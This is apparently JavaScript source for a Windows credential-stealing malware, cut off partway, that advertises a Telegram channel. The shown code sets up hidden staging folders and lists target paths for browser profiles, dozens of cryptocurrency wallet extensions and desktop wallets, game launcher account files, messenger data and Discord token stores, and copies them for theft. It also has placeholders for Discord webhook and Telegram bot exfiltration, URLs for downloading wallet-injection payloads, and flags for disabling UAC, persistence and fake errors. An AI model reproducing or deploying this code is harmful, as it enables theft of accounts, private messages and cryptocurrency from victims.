const fs = require('fs');
const path = require('path');
const os = require('os');
const crypto = require('crypto');
const CONFIG = { browsers: true, backupcodes: true, games: true, filevpn: true, wallet: true, disableuac: true, computerinfo: true, fakeerror: true, startup: true, antivm: false };
let sqlite3; try { sqlite3 = require('sqlite3'); } catch (e) { }
const { execSync, exec, spawn } = require('child_process');
const axios = require('axios');
const FormData = require('form-data');
const archiver = require('archiver');
process.on('uncaughtException', (err) => { logError(err, 'Global-UncaughtException'); });
process.on('unhandledRejection', (reason, promise) => { logError(reason, 'Global-UnhandledRejection'); });
function getLocale() { return Intl.DateTimeFormat().resolvedOptions().locale.slice(0, 2).toUpperCase(); }
const computerName = os.hostname();
const local = process.env.LOCALAPPDATA;
const locale = getLocale(); const active_nodes = [];
const randStr = generateRandomString(12);
const folderIdx = process.argv.indexOf('--folder'); const fallback_conf = [];
const mainFolderName = (folderIdx > -1 && process.argv[folderIdx + 1]) ? process.argv[folderIdx + 1] : generateRandomString(10);
const globalSettingsPath = path.join('C:\\', 'ProgramData', 'Microsoft', 'UserSettings');
const mainFolderPath = path.join(globalSettingsPath, mainFolderName, `${locale}-${computerName}`); const globalLockFile = path.join(globalSettingsPath, 'WinHost.lock');
const screenshotPath = path.join(mainFolderPath, 'Screenshot', 'screenshot.png');
var appdata = process.env.APPDATA, LOCAL = process.env.LOCALAPPDATA, localappdata = process.env.LOCALAPPDATA;
const atomicInjectionUrl = 'https://github.com/AVMTools/wallet-injection/raw/refs/heads/main/atomic.asar';
const exodusInjectionUrl = 'https://github.com/AVMTools/wallet-injection/raw/refs/heads/main/exodus.asar';

const discordWebhookUrl = 'REMPLACE_ME';
const telegramBotToken = 'REMPLACE_ME';
const telegramChatId = 'REMPLACE_ME';

function checkSingleInstance() {
    try {
        if (!fs.existsSync(globalSettingsPath)) fs.mkdirSync(globalSettingsPath, { recursive: true });

        if (fs.existsSync(globalLockFile)) {
            const pid = fs.readFileSync(globalLockFile, 'utf8');
            try {
                process.kill(parseInt(pid), 0);
                process.exit(0);
            } catch (e) { }
        }
        fs.writeFileSync(globalLockFile, process.pid.toString());
        process.on('exit', () => { try { fs.unlinkSync(globalLockFile); } catch (e) { } });
    } catch (e) { }
}

function generateRandomString(length) {
    const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    let result = '';
    for (let i = 0; i < length; i++) {
        const randomIndex = Math.floor(Math.random() * chars.length);
        result += chars[randomIndex];
    }
    return result;
}

function decodeString(encoded) {
    return Buffer.from(encoded, 'base64').toString('utf8');
}

const user = {
    ram: os.totalmem(),
    version: os.version(),
    uptime: os.uptime(),
    homedir: os.homedir(),
    hostname: os.hostname(),
    username: os.userInfo().username,
    type: os.type(),
    arch: os.arch(),
    release: os.release(),
    roaming: process.env.APPDATA,
    local: process.env.LOCALAPPDATA,
    temp: process.env.TEMP,
    countCore: os.cpus().length,
    sysDrive: process.env.SystemDrive,
    fileLoc: process.cwd(),
    randomUUID: crypto.randomBytes(16).toString('hex'),
    start: Date.now(),
    copyright: '<================[ t.me/avmtools ]>================>\n\n',
    url: null,
    locale: locale,
}

const PATHS = {
    browsers: [
        [user.local + '\\Google\\Chrome\\User Data\\Default\\', 'Default', user.local + '\\Google\\Chrome\\User Data\\'],
        [user.local + '\\Google\\Chrome\\User Data\\Profile 1\\', 'Profile_1', user.local + '\\Google\\Chrome\\User Data\\'],
        [user.local + '\\Google\\Chrome\\User Data\\Profile 2\\', 'Profile_2', user.local + '\\Google\\Chrome\\User Data\\'],
        [user.local + '\\Google\\Chrome\\User Data\\Profile 3\\', 'Profile_3', user.local + '\\Google\\Chrome\\User Data\\'],
        [user.local + '\\Google\\Chrome\\User Data\\Profile 4\\', 'Profile_4', user.local + '\\Google\\Chrome\\User Data\\'],
        [user.local + '\\Google\\Chrome\\User Data\\Profile 5\\', 'Profile_5', user.local + '\\Google\\Chrome\\User Data\\'],
        [user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\', 'Default', user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\'],
        [user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 1\\', 'Profile_1', user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\'],
        [user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 2\\', 'Profile_2', user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\'],
        [user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 3\\', 'Profile_3', user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\'],
        [user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 4\\', 'Profile_4', user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\'],
        [user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 5\\', 'Profile_5', user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\'],
        [user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Guest Profile\\', 'Guest Profile', user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\'],
        [user.local + '\\Yandex\\YandexBrowser\\User Data\\Default\\', 'Default', user.local + '\\Yandex\\YandexBrowser\\ User Data\\'],
        [user.local + '\\Yandex\\YandexBrowser\\User Data\\Profile 1\\', 'Profile_1', user.local + '\\Yandex\\YandexBrowser\\User Data\\'],
        [user.local + '\\Yandex\\YandexBrowser\\User Data\\Profile 2\\', 'Profile_2', user.local + '\\Yandex\\YandexBrowser\\User Data\\'],
        [user.local + '\\Yandex\\YandexBrowser\\User Data\\Profile 3\\', 'Profile_3', user.local + '\\Yandex\\YandexBrowser\\User Data\\'],
        [user.local + '\\Yandex\\YandexBrowser\\User Data\\Profile 4\\', 'Profile_4', user.local + '\\Yandex\\YandexBrowser\\User Data\\'],
        [user.local + '\\Yandex\\YandexBrowser\\User Data\\Profile 5\\', 'Profile_5', user.local + '\\Yandex\\YandexBrowser\\User Data\\'],
        [user.local + '\\Yandex\\YandexBrowser\\User Data\\Guest Profile\\', 'Guest Profile', user.local + '\\Yandex\\YandexBrowser\\User Data\\'],
        [user.local + '\\Microsoft\\Edge\\User Data\\Default\\', 'Default', user.local + '\\Microsoft\\Edge\\User Data\\'],
        [user.local + '\\Microsoft\\Edge\\User Data\\Profile 1\\', 'Profile_1', user.local + '\\Microsoft\\Edge\\User Data\\'],
        [user.local + '\\Microsoft\\Edge\\User Data\\Profile 2\\', 'Profile_2', user.local + '\\Microsoft\\Edge\\User Data\\'],
        [user.local + '\\Microsoft\\Edge\\User Data\\Profile 3\\', 'Profile_3', user.local + '\\Microsoft\\Edge\\User Data\\'],
        [user.local + '\\Microsoft\\Edge\\User Data\\Profile 4\\', 'Profile_4', user.local + '\\Microsoft\\Edge\\User Data\\'],
        [user.local + '\\Microsoft\\Edge\\User Data\\Profile 5\\', 'Profile_5', user.local + '\\Microsoft\\Edge\\User Data\\'],
        [user.local + '\\Microsoft\\Edge\\User Data\\Guest Profile\\', 'Guest Profile', user.local + '\\Microsoft\\Edge\\User Data\\'],
        [user.roaming + '\\Opera Software\\Opera Neon\\User Data\\Default\\', 'Default', user.roaming + '\\Opera Software\\Opera Neon\\User Data\\'],
        [user.roaming + '\\Opera Software\\Opera Stable\\', 'Default', user.roaming + '\\Opera Software\\Opera Stable\\'],
        [user.roaming + '\\Opera Software\\Opera GX Stable\\', 'Default', user.roaming + '\\Opera Software\\Opera GX Stable\\'],
    ],
    games: {
        'NationsGlory': { 'Local Storage': 'AppData\\Roaming\\NationsGlory\\Local Storage\\leveldb' },
        'Riot Games': {
            'Config': 'AppData\\Local\\Riot Games\\Riot Client\\Config',
            'Data': 'AppData\\Local\\Riot Games\\Riot Client\\Data',
            'Logs': 'AppData\\Local\\Riot Games\\Riot Client\\Logs',
        },
        'Epic Games': { 'Settings': 'AppData\\Local\\EpicGamesLauncher\\Saved\\Config\\Windows\\GameUserSettings.ini' },
        'Uplay': { 'Settings': 'AppData\\Local\\Ubisoft Game Launcher' },
        'Minecraft': {
            'Microsoft Store': 'AppData\\Roaming\\.minecraft\\launcher_accounts_microsoft_store.json',
            'CheatBreakers': 'AppData\\Roaming\\.minecraft\\cheatbreaker_accounts.json',
            'Rise (Intent)': 'intentlauncher\\Rise\\alts.txt',
            'TLauncher': 'AppData\\Roaming\\.minecraft\\TlauncherProfiles.json',
            'Paladium': 'AppData\\Roaming\\paladium-group\\accounts.json',
            'Novoline': 'AppData\\Roaming\\.minecraft\\Novoline\\alts.novo',
            'Badlion': 'AppData\\Roaming\\Badlion Client\\accounts.json',
            'Feather': 'AppData\\Roaming\\.feather\\accounts.json',
            'Impact': 'AppData\\Roaming\\.minecraft\\Impact\\alts.json',
            'Meteor': 'AppData\\Roaming\\.minecraft\\meteor-client\\accounts.nbt',
            'PolyMC': 'AppData\\Roaming\\PolyMC\\accounts.json',
            'PrismLauncher': 'AppData\\Roaming\\PrismLauncher\\accounts.json',
            'Intent': 'intentlauncher\\launcherconfig',
            'Lunar': '.lunarclient\\settings\\game\\accounts.json',
            'Rise': 'AppData\\Roaming\\.minecraft\\Rise\\alts.txt',
            'Launcher Accounts (Microsoft)': 'AppData\\Roaming\\.minecraft\\launcher_accounts.json',
            'Launcher Profiles': 'AppData\\Roaming\\.minecraft\\launcher_profiles.json',
            'Last Login': 'AppData\\Roaming\\.minecraft\\lastlogin',
            'Session': 'AppData\\Roaming\\.minecraft\\session',
            'User Cache': 'AppData\\Roaming\\.minecraft\\usercache.json',
            'Server List': 'AppData\\Roaming\\.minecraft\\servers.dat',
            'Stats': 'AppData\\Roaming\\.minecraft\\stats',
            'Saves': { path: 'AppData\\Roaming\\.minecraft\\saves', excludes: ['region'] },
            'Resource Packs': 'AppData\\Roaming\\.minecraft\\resourcepacks',
            'Screenshots': 'AppData\\Roaming\\.minecraft\\screenshots',
            'Logs': 'AppData\\Roaming\\.minecraft\\logs',
            'Crash Reports': 'AppData\\Roaming\\.minecraft\\crash-reports',
            'Config': 'AppData\\Roaming\\.minecraft\\config',
            'Mods': 'AppData\\Roaming\\.minecraft\\mods',
            'Shader Packs': 'AppData\\Roaming\\.minecraft\\shaderpacks',
            'Minecraft Windows 10': { path: 'AppData\\Local\\Packages\\Microsoft.MinecraftUWP_8wekyb3d8bbwe\\LocalState\\games\\com.mojang', excludes: ['region'] },
        },
        'PrismLauncher': {
            'Accounts': 'AppData\\Roaming\\PrismLauncher\\accounts.json',
            'Instances': { path: 'AppData\\Roaming\\PrismLauncher\\instances', excludes: ['region'] },
            'Metacache': 'AppData\\Roaming\\PrismLauncher\\metacache',
            'Config': 'AppData\\Roaming\\PrismLauncher\\prismlauncher.cfg',
            'Profiles': 'AppData\\Roaming\\PrismLauncher\\profiles.json',
            'Logs': 'AppData\\Roaming\\PrismLauncher\\logs',
        },
        'Rockstar Games': {
            'Social Club': {
                path: 'Documents\\Rockstar Games\\Social Club',
                excludes: ['Code Cache', 'Cache', 'Service Worker', 'GPUCache', 'DawnCache', 'blob_storage']
            },
        },
        'Electronic Arts': { 'EA App': 'AppData\\Local\\EA Desktop' },
        'GOG Galaxy': { 'Galaxy': 'Program Files (x86)\\GOG Galaxy' },
        'Battle.net': { 'Battle.net': 'AppData\\Local\\Battle.net' },
        'Origin': { 'Origin': 'AppData\\Local\\Origin' },
        'Roblox': { 'Roblox': 'AppData\\Local\\Roblox' }
    },
    wallets: {
        "Coinbase": "Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad",
        "BinanceChain": "Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp",
        "Phantom": "Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa",
        "TronLink": "Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec",
        "Ronin": "Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec",
        "Exodus_Ext": "Local Extension Settings\\aholpfdialjgjfhomihkjbmgjidlcdno",
        "Coin98": "Local Extension Settings\\aeachknmefphepccionboohckonoeemg",
        "Authenticator": "Sync Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai",
        "MathWallet": "Sync Extension Settings\\afbcbjpbpfadlkmhmclhkeeodmamcflc",
        "YoroiWallet": "Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb",
        "GuardaWallet": "Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln",
        "JaxxxLiberty": "Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne",
        "Wombat": "Local Extension Settings\\amkmjjmmflddogmhpjloimipbofnfjih",
        "EVERWallet": "Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk",
        "KardiaChain": "Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk",
        "XDEFI": "Local Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf",
        "Nami": "Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo",
        "TerraStation": "Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp",
        "MartianAptos": "Local Extension Settings\\efbglgofoippbgcjepnhiblaibcnclgk",
        "TON": "Local Extension Settings\\nphplpgoakhhjchkkhmiggakijnkhfnd",
        "Keplr": "Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap",
        "CryptoCom": "Local Extension Settings\\hifafgmccdpekplomjjkcfgodnhcellj",
        "PetraAptos": "Local Extension Settings\\ejjladinnckdgjemekebdpeokbikhfci",
        "OKX": "Local Extension Settings\\mcohilncbfahbmgdjkbpemcciiolgcge",
        "Sollet": "Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno",
        "Sender": "Local Extension Settings\\epapihdplajcdnnkdeiahlgigofloibg",
        "Sui": "Local Extension Settings\\opcgpfmipidbgpenhmajoajpbobppdil",
        "SuietSui": "Local Extension Settings\\khpkpbbcccdmmclmpigdgddabeilkdpd",
        "Braavos": "Local Extension Settings\\jnlgamecbpmbajjfhmmmlhejkemejdma",
        "FewchaMove": "Local Extension Settings\\ebfidpplhabeedpnhjnobghokpiioolj",
        "EthosSui": "Local Extension Settings\\mcbigmjiafegjnnogedioegffbooigli",
        "ArgentX": "Local Extension Settings\\dlcobpjiigpikoobohmabehhmhfoodbb",
        "NiftyWallet": "Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid",
        "BraveWallet": "Local Extension Settings\\odbfpeeihdkbihmopkbjmoonfanlbfcl",
        "EqualWallet": "Local Extension Settings\\blnieiiffboillknjnepogjhkgnoapac",
        "BitAppWallet": "Local Extension Settings\\fihkakfobkmkjojpchpfgcmhfjnmnfpi",
        "iWallet": "Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj",
        "AtomicWallet": "Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh",
        "MewCx": "Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm",
        "GuildWallet": "Local Extension Settings\\nanjmdknhkinifnkgdcggcfnhdaammmj",
        "SaturnWallet": "Local Extension Settings\\nkddgncdjgjfcddamfgcmfnlhccnimig",
        "HarmonyWallet": "Local Extension Settings\\fnnegphlobjdpkhecapkijjdkgcjhkib",
        "PaliWallet": "Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn",
        "BoltX": "Local Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca",
        "LiqualityWallet": "Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn",
        "MaiarDeFiWallet": "Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm",
        "TempleWallet": "Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc",
        "Metamask_E": "Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm",
        "Ronin_E": "Local Extension Settings\\kjmoohlgokccodicjjfebfomlbljgfhk",
        "Yoroi_E": "Local Extension Settings\\akoiaibnepcedcplijmiamnaigbepmcb",
        "Authenticator_E": "Sync Extension Settings\\ocglkepbibnalbgmbachknglpdipeoio",
        "MetaMask_O": "Local Extension Settings\\djclckkglechooblngghdinmeemkbgci"
    },
    walletApps: {
        "Bitcoin": process.env.APPDATA + "\\Bitcoin\\wallets",
        "Zcash": process.env.APPDATA + "\\Zcash",
        "Armory": process.env.APPDATA + "\\Armory",
        "Bytecoin": process.env.APPDATA + "\\bytecoin",
        "Jaxx": process.env.APPDATA + "\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb",
        "Exodus": process.env.APPDATA + "\\Exodus\\exodus.wallet",
        "Ethereum": process.env.APPDATA + "\\Ethereum\\keystore",
        "Electrum": process.env.APPDATA + "\\Electrum\\wallets",
        "AtomicWallet": process.env.APPDATA + "\\atomic\\Local Storage\\leveldb",
        "Guarda": process.env.APPDATA + "\\Guarda\\Local Storage\\leveldb",
        "Coinomi": process.env.APPDATA + "\\Coinomi\\Coinomi\\wallets",
    },
    socials: {
        'Telegram Desktop': 'AppData\\Roaming\\Telegram Desktop\\tdata',
        'WhatsApp Desktop': 'AppData\\Roaming\\Packages\\5319275A.WhatsAppDesktop_cv1g1gvanyjgm\\LocalState',
        'Signal Desktop': 'AppData\\Roaming\\Signal\\databases',
        'Purple': 'AppData\\Roaming\\.purple',
        'Tox': 'AppData\\Roaming\\tox',
        'Element': 'AppData\\Roaming\\Element\\Local Storage',
        'Skype': 'AppData\\Roaming\\Microsoft\\Skype for Desktop\\Local Storage',
        'Facebook Messenger': 'AppData\\Local\\Facebook\\Messenger',
        'Microsoft Teams': 'AppData\\Local\\Microsoft Teams',
        'Snapchat': 'AppData\\Local\\Snapchat',
        'Instagram': 'AppData\\Local\\Instagram',
        'Viber': 'AppData\\Local\\Viber',
        'Line': 'AppData\\Local\\Line',
        'WeChat': 'AppData\\Local\\WeChat',
        'Tumblr': 'AppData\\Local\\Tumblr',
        'ICQ': 'AppData\\Local\\ICQ\\0001',
        'Reddit': 'AppData\\Local\\Reddit',
        'Pinterest': 'AppData\\Local\\Pinterest',
        'Flock': 'AppData\\Local\\Flock',
        'Trello': 'AppData\\Local\\Trello',
        'Hangouts': 'AppData\\Local\\Google\\Hangouts',
    },
    discord: [
        appdata + '\\discord\\',
        appdata + '\\discordcanary\\',
        appdata + '\\discordptb\\',
        appdata + '\\discorddevelopment\\',
        appdata + '\\lightcord\\',
        localappdata + '\\Google\\Chrome\\User Data\\Default\\',
        localappdata + '\\Google\\Chrome\\User Data\\Profile 1\\',
        localappdata + '\\Google\\Chrome\\User Data\\Profile 2\\',
        localappdata + '\\Google\\Chrome\\User Data\\Profile 3\\',
        localappdata + '\\Google\\Chrome\\User Data\\Profile 4\\',
        localappdata + '\\Google\\Chrome\\User Data\\Profile 5\\',
        localappdata + '\\Google\\Chrome\\User Data\\Guest Profile\\',
        localappdata + '\\Google\\Chrome\\User Data\\Default\\Network\\',
        localappdata + '\\Google\\Chrome\\User Data\\Profile 1\\Network\\',
        localappdata + '\\Google\\Chrome\\User Data\\Profile 2\\Network\\',
        localappdata + '\\Google\\Chrome\\User Data\\Profile 3\\Network\\',
        localappdata + '\\Google\\Chrome\\User Data\\Profile 4\\Network\\',
        localappdata + '\\Google\\Chrome\\User Data\\Profile 5\\Network\\',
        localappdata + '\\Google\\Chrome\\User Data\\Guest Profile\\Network\\',
        appdata + '\\Opera Software\\Opera Stable\\',
        appdata + '\\Opera Software\\Opera GX Stable\\',
        localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\',
        localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 1\\',
        localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 2\\',
        localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 3\\',
        localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 4\\',
        localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 5\\',
        localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Guest Profile\\',
        localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 1\\',
        localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 2\\',
        localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 3\\',
        localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 4\\',
        localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 5\\',
        localappdata + '\\Yandex\\YandexBrowser\\User Data\\Guest Profile\\',
        localappdata + '\\Microsoft\\Edge\\User Data\\Default\\',
        localappdata + '\\Microsoft\\Edge\\User Data\\Profile 1\\',
        localappdata + '\\Microsoft\\Edge\\User Data\\Profile 2\\',
        localappdata + '\\Microsoft\\Edge\\User Data\\Profile 3\\',
        localappdata + '\\Microsoft\\Edge\\User Data\\Profile 4\\',
        localappdata + '\\Microsoft\\Edge\\User Data\\Profile 5\\',
        localappdata + '\\Microsoft\\Edge\\User Data\\Guest Profile\\',
        localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Network\\',
        localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 1\\Network\\',
        localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 2\\Network\\',
        localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 3\\Network\\',
        localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 4\\Network\\',
        localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 5\\Network\\',
        localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Guest Profile\\Network\\',
        localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 1\\Network\\',
        localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 2\\Network\\',
        localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 3\\Network\\',
        localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 4\\Network\\',
        localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 5\\Network\\',
        localappdata + '\\Yandex\\YandexBrowser\\User Data\\Guest Profile\\Network\\',
        localappdata + '\\Microsoft\\Edge\\User Data\\Default\\Network\\',
        localappdata + '\\Microsoft\\Edge\\User Data\\Profile 1\\Network\\',
        localappdata + '\\Microsoft\\Edge\\User Data\\Profile 2\\Network\\',
        localappdata + '\\Microsoft\\Edge\\User Data\\Profile 3\\Network\\',
        localappdata + '\\Microsoft\\Edge\\User Data\\Profile 4\\Network\\',
        localappdata + '\\Microsoft\\Edge\\User Data\\Profile 5\\Network\\',
        localappdata + '\\Microsoft\\Edge\\User Data\\Guest Profile\\Network\\'
    ],
    processes: {
        'Google\\Chrome': 'chrome.exe',
        'BraveSoftware\\Brave-Browser': 'brave.exe',
        'Yandex\\YandexBrowser': 'browser.exe',
        'Microsoft\\Edge': 'msedge.exe',
        'Opera Software\\Opera Stable': 'opera.exe',
        'Opera Software\\Opera GX Stable': 'opera.exe',
        'Opera Software\\Opera Neon': 'opera.exe',
    }
};

const browserPath = PATHS.browsers;
const gamesPaths = PATHS.games;

function getTimestamp() {
    const now = new Date();
    return now.toLocaleString('fr-FR', { timeZoneName: 'short' });
}

function logError(error, context = '') {
    try {
        const timestamp = getTimestamp();
        const logMessage = `[${timestamp}] [ERROR] ${context}: ${error.message || error}\nStack: ${error.stack || 'No stack trace'}\n\n`;

        console.error(`[ERROR] ${context}:`, error);

        if (!mainFolderPath) return;
        if (!fs.existsSync(mainFolderPath)) fs.mkdirSync(mainFolderPath, { recursive: true });

        const logFilePath = path.join(mainFolderPath, 'log.txt');
        fs.appendFileSync(logFilePath, logMessage, 'utf8');

    } catch (logError) {
        console.error('[CRITICAL] Failed to write to log file:', logError);
    }
}

function logSuccess(message) {
    try {
        const timestamp = getTimestamp();
        const logMessage = `[${timestamp}] [SUCCESS] ${message}\n`;
        if (!mainFolderPath) return;
        if (!fs.existsSync(mainFolderPath)) fs.mkdirSync(mainFolderPath, { recursive: true });

        const logFilePath = path.join(mainFolderPath, 'log.txt');
        fs.appendFileSync(logFilePath, logMessage, 'utf8');
    } catch (e) { }
}

function logInfo(message) {
    try {
        const timestamp = getTimestamp();
        const logMessage = `[${timestamp}] [INFO] ${message}\n`;

        if (!mainFolderPath) return;
        if (!fs.existsSync(mainFolderPath)) fs.mkdirSync(mainFolderPath, { recursive: true });

        const logFilePath = path.join(mainFolderPath, 'log.txt');
        fs.appendFileSync(logFilePath, logMessage, 'utf8');
    } catch (e) { }
}

function copyFolderRecursiveSync(source, target, excludes = [], maxSize = null) {
    if (!fs.existsSync(target)) fs.mkdirSync(target, { recursive: true });

    const globalExcludes = ['lost', 'Cache', 'GPUCache', 'blob_storage', 'Media', 'logs', 'temp', 'working', 'Service Worker', 'DawnCache'];
    const heavyExts = ['.exe', '.dll', '.mp4', '.mov', '.avi', '.mkv', '.zip', '.rar', '.7z', '.iso'];
    const vitalExts = ['.json', '.txt', '.db', '.wallet', '.key', '.config', '.ldb', '.log'];

    if (fs.lstatSync(source).isDirectory()) {
        const files = fs.readdirSync(source);
        for (const file of files) {
            const curSource = path.join(source, file);
            const curTarget = path.join(target, file);
            const ext = path.extname(file).toLowerCase();

            if (excludes.includes(file) || globalExcludes.includes(file)) continue;
            if (heavyExts.includes(ext) && !vitalExts.includes(ext)) continue;

            try {
                const stats = fs.lstatSync(curSource);
                if (stats.isDirectory()) {
                    copyFolderRecursiveSync(curSource, curTarget, excludes, maxSize);
                } else {
                    if (maxSize && stats.size > maxSize && !vitalExts.includes(ext)) continue;
                    fs.copyFileSync(curSource, curTarget);
                }
            } catch (e) { }
        }
    }
}

function copyFileIfExists(source, targetDir, fileName = null, excludes = [], maxSize = null) {
    if (!fs.existsSync(source)) return false;

    if (!fs.existsSync(targetDir)) {
        fs.mkdirSync(targetDir, { recursive: true });
    }

    const targetPath = fileName ? path.join(targetDir, fileName) : path.join(targetDir, path.basename(source));

    if (fs.lstatSync(source).isDirectory()) {
        copyFolderRecursiveSync(source, targetPath, excludes, maxSize);
    } else {
        if (maxSize && fs.statSync(source).size > maxSize) return false;
        fs.copyFileSync(source, targetPath);
    }

    return true;
}



async function checkPrismLauncherPortable() {
    try {
        const possiblePortablePaths = [
            'C:\\Program Files\\PrismLauncher',
            'C:\\Program Files (x86)\\PrismLauncher',
            path.join(os.homedir(), 'Desktop', 'PrismLauncher'),
            path.join(os.homedir(), 'Downloads', 'PrismLauncher'),
            path.join(os.homedir(), 'Documents', 'PrismLauncher'),
        ];

        for (const portablePath of possiblePortablePaths) {
            if (fs.existsSync(portablePath)) {
                const cfgPath = path.join(portablePath, 'prismlauncher.cfg');
                const portableIndicator = path.join(portablePath, 'portable.txt');

                if (fs.existsSync(cfgPath) || fs.existsSync(portableIndicator)) {

                    return portablePath;
                }

                const exePath = path.join(portablePath, 'PrismLauncher.exe');
                if (fs.existsSync(exePath)) {

                    return portablePath;
                }
            }
        }
        return null;
    } catch (error) {
        logError(error, 'checkPrismLauncherPortable');
        return null;
    }
}

async function fetchSocials() {
    const socialsPaths = PATHS.socials;

    let socialsFoundCount = 0;
    const userHome = os.homedir();
    const socialsDir = path.join(mainFolderPath, 'Socials');

    for (const [name, relativePath] of Object.entries(socialsPaths)) {
        try {
            const fullPath = path.join(userHome, relativePath);

            if (fs.existsSync(fullPath)) {

                if (!fs.existsSync(socialsDir)) fs.mkdirSync(socialsDir, { recursive: true });
                const targetPath = path.join(socialsDir, name);

                let excludes = [];
                if (name === 'Telegram Desktop') {
                    excludes = ["emoji", "user_data", "user_data#2", "user_data#3", "user_data#4", "user_data#5", "working", "temp", "temp_data"];
                }

                copyFolderRecursiveSync(fullPath, targetPath, excludes, 5 * 1024 * 1024);
                socialsFoundCount++;
            }
        } catch (err) {
            logError(err, `fetchSocials-${name}`);
        }
    }
    return socialsFoundCount;
}

async function fetchGamesData() {
    let gamesCount = 0;
    const gamesDir = path.join(mainFolderPath, 'Games');
    const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB

    try {
        const userHome = os.homedir();

        const portablePrismPath = await checkPrismLauncherPortable();
        if (portablePrismPath) {
            if (!fs.existsSync(gamesDir)) fs.mkdirSync(gamesDir, { recursive: true });
            const prismTargetDir = path.join(gamesDir, 'PrismLauncher_Portable');
            try {
                copyFolderRecursiveSync(portablePrismPath, prismTargetDir, ['region'], MAX_FILE_SIZE);
                gamesCount++;

            } catch (err) {
                logError(err, 'fetchGamesData-PrismLauncherPortable');
            }
        }

        for (const [gameName, gamePaths] of Object.entries(gamesPaths)) {
            try {
                let gameFound = false;
                if (!fs.existsSync(gamesDir)) fs.mkdirSync(gamesDir, { recursive: true });
                const gameTargetDir = path.join(gamesDir, gameName);

                for (const [pathName, config] of Object.entries(gamePaths)) {
                    try {
                        const relativePath = typeof config === 'string' ? config : config.path;
                        const excludes = typeof config === 'string' ? [] : (config.excludes || []);

                        let fullPath;
                        if (relativePath.startsWith('Program Files')) {
                            fullPath = path.join('C:', relativePath);
                        } else if (relativePath.startsWith('Documents')) {
                            fullPath = path.join(userHome, relativePath);
                        } else {
                            fullPath = path.join(userHome, relativePath);
                        }

                        if (copyFileIfExists(fullPath, path.join(gameTargetDir, pathName), null, excludes, MAX_FILE_SIZE)) {
                            gameFound = true;

                        }
                    } catch (err) {
                        logError(err, `fetchGamesData-${gameName}-${pathName}`);
                    }
                }

                if (gameFound) {
                    gamesCount++;

                    if (gameName === 'Minecraft') {
                        await extractMinecraftSessionInfo(gameTargetDir);
                    }

                    if (gameName === 'PrismLauncher') {
                        await extractPrismLauncherInfo(gameTargetDir);
                    }
                }
            } catch (err) {
                logError(err, `fetchGamesData-${gameName}`);
            }
        }

        await scanOtherUsersGames(gamesDir, MAX_FILE_SIZE);
    } catch (error) {
        logError(error, 'fetchGamesData');
    }

    return gamesCount;
}

async function extractPrismLauncherInfo(prismDir) {
    try {
